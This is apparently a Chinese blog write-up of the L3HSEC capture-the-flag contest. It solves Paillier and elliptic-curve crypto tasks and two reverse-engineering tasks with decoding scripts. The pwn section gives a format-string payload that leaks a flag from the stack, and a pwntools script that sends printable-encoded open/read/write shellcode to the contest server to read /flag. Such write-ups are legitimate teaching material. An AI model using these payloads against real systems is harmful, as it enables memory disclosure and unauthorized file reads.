c = 402524615762464185322455964035678210271457645602741560700582804752346599476498485026171991644294426385449028303574466019965686278702934894021473624944901863078297347332434973194039256807731669138981245077336640990683139297446590177651688152206448227106739329391062183361166138659760958729437820978456565716582305241824155953785721088851961931702879836093635562515028625948889311130859119813486196205285371730679712227648556969822704053786004710285672794458112688297050851763331831786845133375228109899988733704488782428539375612492786095275725996229472538667063558446434890133230910107142161123924664473346858515868643473427879055110282365504144398591653082374805652547946769077359931833316147574314879719465805993289685341805705647599026757217037493441645667371806974466089647718145307911929008326852983748926680196218859689651972158406550489043923558002502299464805906205611788368536685662616409590334321418140395436132634719654890284668919174632001808239783736307689420626212762848237559302065640364611175532179849324304655361158071958027432185229884042563808671418150254297767374072836634154198628640949231200723239112340625851821639701905671759867153360325799723130341048416432354977547089690117923609834416703444693132209529702
# yafu yafu-x64.exe factor() fermat for p q is very similar
p = 151294358461963262988027062664746340597825185400942596530521035619139580838355869444379552492926050987785943765937009253180705713321442021504499661324496772688914986902559692441162301620292364258419761021554052935410402342695504034752551291048950379208931239612446816776570292261456498267930751158600739489871
q = 151294358461963262988027062664746340597825185400942596530521035619139580838355869444379552492926050987785943765937009253180705713321442021504499661324496772688914986902559692441162301620292364258419761021554052935410402342695504034638359897173265608351983200085033580050324339561151797892420042387509176922191
def dec(n, g, LAMBDA, c):
    L1 = (pow(c, LAMBDA, n ** 2) - 1) // n
    L2 = (pow(g, LAMBDA, n ** 2) - 1) // n
    m = (gmpy2.invert(L2, n) * L1) % n
    return m
LAMBDA = gmpy2.lcm(p - 1, q - 1)
print(long_to_bytes(dec(n,g,LAMBDA,c)))

得到flag:L3HSEC{8a7fce52000e9b693c315d39258a213b}

ezecc

原理参照这篇ECC2
首先求b:
求b
求得b=142049469222136951075696377209080640921370274261432456129295338173419592979392060338227
b
然后定义椭圆曲线,以及P、Q两个点:

# P=(xG,yG) Q=Public_key
P = (61621803131408319635029766825719907867842946540104700557009765261727264962796229094568,90378017679706887143409145158264522897855153307452350004018644435133535912241818885072)
Q = (310437823810844905448242773133403586337899801305811045192960893487704024383375218773605, 304988667194749192663091131350248651649623530747853134775926969946385963577679155080700)
F = FiniteField(M)
E = EllipticCurve(F,[A,B])
P = E.point(P)
Q = E.point(Q)

问题转化为了求l,使得Q=lP,根据提示采用pohlig-hellman算法来求,首先先分解P的阶:
P的阶
假设p的阶x分解为分解p的阶

将这些因子单独拿出来,计算
li
如果能得到li的值,那么剩下就可以用中国剩余定理计算
将li设成:
li表达式问题转变为了求z,为了计算z,取P0和Q0,其中:
P0Q0
进一步可以推出:
Q0这样就有:
z0这时候P域上的离散对数分解到了P0域上,求得z0代回原式
代回原式此时可继续求z1,但是因为这里我们的factor最高次数为1,所以只用求一次,也就是得到z0即可,这样li也就求出来了,再用中国剩余定理,l的值就得到了

最终的sage代码:

M = 321926610273616650525824108536700279212350866647530622269302809271682737763257560088641
A = 31030867082543847272019450082250517880295729931851175197103022808416739451723625980005
B = 142049469222136951075696377209080640921370274261432456129295338173419592979392060338227
P = (61621803131408319635029766825719907867842946540104700557009765261727264962796229094568,90378017679706887143409145158264522897855153307452350004018644435133535912241818885072)
Q = (310437823810844905448242773133403586337899801305811045192960893487704024383375218773605, 304988667194749192663091131350248651649623530747853134775926969946385963577679155080700)


x, y = P[0], P[1]
b = (y^2 - x^3 - A*x) % M
#print(b)

F = FiniteField(M)
E = EllipticCurve(F,[A,B])
P = E.point(P)
Q = E.point(Q)
print(factor(P.order()))
factors, exponents = zip(*factor(P.order()))
primes = [factors[i] ^ exponents[i] for i in range(len(factors))][:-2]
dlogs = []
for fac in primes:
    t = int(P.order()) // int(fac)
    dlog = discrete_log(t*Q,t*P,operation="+")
    dlogs += [dlog]
    print("factor: "+str(fac)+", Discrete Log: "+str(dlog)) #calculates discrete logarithm for each prime order

l = crt(dlogs,primes)
print(l)
#8314044453310529150

得到l后,long_to_bytes(l)即可得到flag:sakana~~,套上L3HSEC{},最终的flag为:L3HSEC{sakana~~}

Reverse

f5

ida打开f5.exe,发现分成两部分,第一部分是对输入的arglist做一个简单加密:
加密然后对比真正的flag值:
对比flag因此思路非常简单,获取v5的值,然后异或i再减去33即可得到flag

data = [0x6D, 0x55, 0x6B, 0x77, 0x62, 0x61, 0x9A, 0x62, 0x59, 0x89, 0x90, 0x7B, 0x9A, 0x8D, 0x62, 0x80, 0x80, 0x89,
        0x92, 0x99, 0x91, 0x97, 0x96, 0x90, 0x4E, 0x99, 0x5D, 0x62, 0x8C, 0x8E, 0x7E, 0x81]

flag=""
for i in range(len(data)):
    flag+=chr((data[i]^i)-33)
print (flag)

得到flag:L3HSEC{D0_yOu_Know_ida_f5_&Xor?}

OldTechonmlogyFileSystem

打开压缩包发现五个文件:flag,simplefs,image,instruction.txt,OtFs和output,看一下instructions:
instructions按照格式运行一遍,发现plantflag将flag加密输入到image中,但是output怎么来的我很困惑,于是shift+f12查看字符串发现有一个copyout:
copyout尝试copyout 134 output,产生了一个输出文件output,这应该是第五个文件的来源,但与此题无关

在IDA中找找有关于加密的地方,发现sub_21b2函数:
sub_21b2函数的作用大概是依次异或v4的BYTE0,BYTE1,BYTE2和HIBYTE,一次取两位,为了解密flag,需要知道v4的值,在这下断点调试一下

动态调试

运行到这可以发现v4=rax=0xDEEDBEEF
在这里插入图片描述而flag文件给出了flag的格式,L3HSEC{这个开头不会变,可以利用这个定位加密的位置:

a='L3HSEC{'
for i in a:
    x=ord(i)
    x = (x >> 1) | (x << 7)&0xff
    x ^= 0xef
    x = (x >> 2) | (x << 6)&0xff
    x ^= 0xbe
    x = (x >> 3) | (32 * x)&0xff
    x ^= 0xed
    x = (x >> 4) | (16 * x)&0xff
    x ^= 0xde
    x = (x >> 5) | (8 * x)&0xff
    print(hex(x))

输出为0xcc、0x32、0xc4、0xf2、0xde、0xd2、0xa2,在image中找到对应位置

对应位置
最后的EXP:

flag = ''

a = [0xCC, 0x32, 0xC4, 0xF2, 0xDE, 0xD2, 0xA2, 0xC8, 0xBC, 0xD8, 0xB2, 0xC6, 0xB2, 0xC8, 0x9E, 0xBA,
	0xFC, 0x9E, 0x92, 0x84, 0x88, 0x8A, 0x8C, 0x8A, 0x9A, 0xA6, 0xF2, 0xA6, 0xB2, 0xAE, 0x40]
for j in range(len(a)):
    for i in range(32, 128):
        x = i
        x = (x >> 1) | (x << 7) & 0xff
        x ^= 0xef
        x = (x >> 2) | (x << 6) & 0xff
        x ^= 0xbe
        x = (x >> 3) | (32 * x) & 0xff
        x ^= 0xed
        x = (x >> 4) | (16 * x) & 0xff
        x ^= 0xde
        x = (x >> 5) | (8 * x) & 0xff
        if (x == a[j]):
            flag += chr(i)
print(flag)

得到flag:L3HSEC{NtFsIsNewTechnologySys}

PWN

race_car

运行一下,输入name和nickname,然后会让你选择两辆车中的一辆,拥有不同的数值,分别在Speed和Handling有优势,根据选择的比赛形式选择车,比如highway选择speed数值大的,Circuit选择Handling数值大的,就能够获胜,获胜后会让你发表获奖感言,然后会回显获奖感言,而且根据提示“he grand winner of the race wants the whole world to know this”猜想是格式化字符串泄露内存,ida打开看一下,根据字符串找到获奖感言的位置:

获奖感言位置
果然发现read+gets这样明显的格式化字符串漏洞,又观察到前面读入了flag.txt,因此本题的思路就是利用格式化字符串漏洞泄露读入到栈上的flag.txt的内容
读取flag.txt剩下的就是确认一下位置了,输入几个%p,回显
0x566b91c0/0x170/0x56575dfa/0x29/0x2/0x26/0x2/0x1/0x5657696c/0x566b91c0/0x566b9340/0x41414141/0x41414141/0x41414141/0xea0d000a/0x56576d58/0x56578f8c/0xfffd2888/0x5657638d

%p确定位置可以看到在第十二个位置出现了flag的内容(flag内容为AAAA),因此最后payload为:
%12$x.%13$x.%14$x.%15$x.%16$x.%17$x.%18$x.%19$x.%20$x.%21$x.%22$x.%23$x
得到flag的十六进制存储:
5348334c.327b4345.31653839.2d363336.39373236.6436342d.61382d32.312d6266.34353036.30323033.356465
转为ascii:L3HSEC{298e1636-6279-46d2-8afb-160543020ed5b
转化脚本为:

import binascii
def hexStr_to_str(hex_str):
    hex = hex_str.encode('utf-8')
    str_bin = binascii.unhexlify(hex)
    return str_bin.decode('utf-8')
if __name__ == "__main__":
    flag=''
    hex_str = '5348334c.327b4345.31653839.2d363336.39373236.6436342d.61382d32.312d6266.34353036.30323033.356465'
    strs = hex_str.split(".")
    for str in strs:
        flag+=hexStr_to_str(str)[::-1]
    print(flag)

shellcode

file&checksec一下,有NX保护无canary
NX保护ida查看一下,逻辑简单,开了一个可以rwx的页,我们输入一段shellcode,检查是不是可见字符,最后在沙箱中执行它。
ida明显的ORW,使用ae64编码为可打印字符,payload如下:

from pwn import *
import sys
sys.path.append('/root/Env/ae64')
from ae64 import AE64
mmap_addr=0x36363000
p = remote('ctf.l3hsec.com', 40022)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
payload = b''
payload += asm(shellcraft.open("/flag"))
payload += asm(shellcraft.read(3,mmap_addr,0x2c))
payload += asm(shellcraft.write(1,mmap_addr,0x2c))
ae86 = AE64()
# 把rdx的值写入buf
payload = ae86.encode(payload, 'rdx')
p.sendline(payload)
p.recv()

最后得到flag:
flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值